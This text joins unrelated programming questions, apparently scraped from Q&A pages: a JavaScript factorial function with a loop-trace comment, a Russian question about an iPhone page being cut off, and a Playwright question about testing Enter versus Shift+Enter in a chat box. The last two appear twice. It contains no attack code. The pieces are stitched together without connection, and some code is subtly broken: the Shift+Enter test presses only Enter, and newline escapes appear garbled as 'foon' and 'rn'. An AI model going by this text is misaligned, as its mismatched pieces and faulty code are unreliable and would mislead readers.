function factorialize(num) {
    // If num = 0 OR num = 1, the factorial will return 1
     if (num === 0 || num === 1)
    return 1;
  
  // We start the FOR loop with i = 4
  // We decrement i after each iteration 
  for (var i = num - 1; i >= 1; i--) {
    // We store the value of num at each iteration
    num = num * i; // or num *= i;
    /* 
                    num      var i = num - 1       num *= i         i--       i >= 1?
    1st iteration:   5           4 = 5 - 1         20 = 5 * 4        3          yes   
    2nd iteration:  20           3 = 4 - 1         60 = 20 * 3       2          yes
    3rd iteration:  60           2 = 3 - 1        120 = 60 * 2       1          yes  
    4th iteration: 120           1 = 2 - 1        120 = 120 * 1      0          no             
    5th iteration: 120               0                120
    End of the FOR loop 
    */
  }


  return num; //120
    }
     factorialize(5);

my best guess is the a in i < a keep getting updated from inside the loop every loop and it doesn’t keep useing the initial value passed in the function but gets updates with a inside the function 10, 30 why. when num in var i = num -1 doesn’t get updated it keep using the initial value without the num inside the loop 20 , 60 , 120 affecting it both variable are in the expressions while one updates from the body and the other doesn’t it keeps updating from the initial value

Почему на Iphone обрезается часть страницы? [closed]

достался мне сайт на исправление, одна из проблем – на iphone почему то не до конца показывается главная страница. Через хромовский device tool всё нормально. Причем на разных айфонах по разному. Где то веб страница отображается полностью, где то она обрезается на определенном месте. Js минимум. Высот фиксированных нет. На Андроиде все отображается и работает хорошо

В чем может быть проблема?

Почему на Iphone обрезается часть страницы? [closed]

достался мне сайт на исправление, одна из проблем – на iphone почему то не до конца показывается главная страница. Через хромовский device tool всё нормально. Причем на разных айфонах по разному. Где то веб страница отображается полностью, где то она обрезается на определенном месте. Js минимум. Высот фиксированных нет. На Андроиде все отображается и работает хорошо

В чем может быть проблема?

Assert whether or not for was submitted with Playwright

I have a chat application that I’m writing Playwright tests for. There is a textbox where the user can write their message. When the user presses Enter, the message should be sent. When the user presses Shift+Enter, the message should not be sent, but a line break should be added to the message.

How can I write Playwright tests for this? Here is a start:

test("pressing enter should send message", async ({ page }) => {
  await page.goto("/chat");

  const input = page.getByRole("textbox");

  await input.fill("foo");
  await input.press("Enter");
  await expect(input).toHaveValue("foo");

  // TODO: Expect that the form is submitted.
});

test("pressing shift+enter should create a line break", async ({ page }) => {
  await page.goto("/chat");

  const input = page.getByRole("textbox");

  await input.fill("foo");
  await input.press("Enter");
  await expect(input).toHaveValue("foon"); // Can the line break be rn?

  // TODO: Expect that the form is not submitted
});

Assert whether or not for was submitted with Playwright

I have a chat application that I’m writing Playwright tests for. There is a textbox where the user can write their message. When the user presses Enter, the message should be sent. When the user presses Shift+Enter, the message should not be sent, but a line break should be added to the message.

How can I write Playwright tests for this? Here is a start:

test("pressing enter should send message", async ({ page }) => {
  await page.goto("/chat");

  const input = page.getByRole("textbox");

  await input.fill("foo");
  await input.press("Enter");
  await expect(input).toHaveValue("foo");

  // TODO: Expect that the form is submitted.
});

test("pressing shift+enter should create a line break", async ({ page }) => {
  await page.goto("/chat");

  const input = page.getByRole("textbox");

  await input.fill("foo");
  await input.press("Enter");
  await expect(input).toHaveValue("foon"); // Can the line break be rn?

  // TODO: Expect that the form is not submitted
});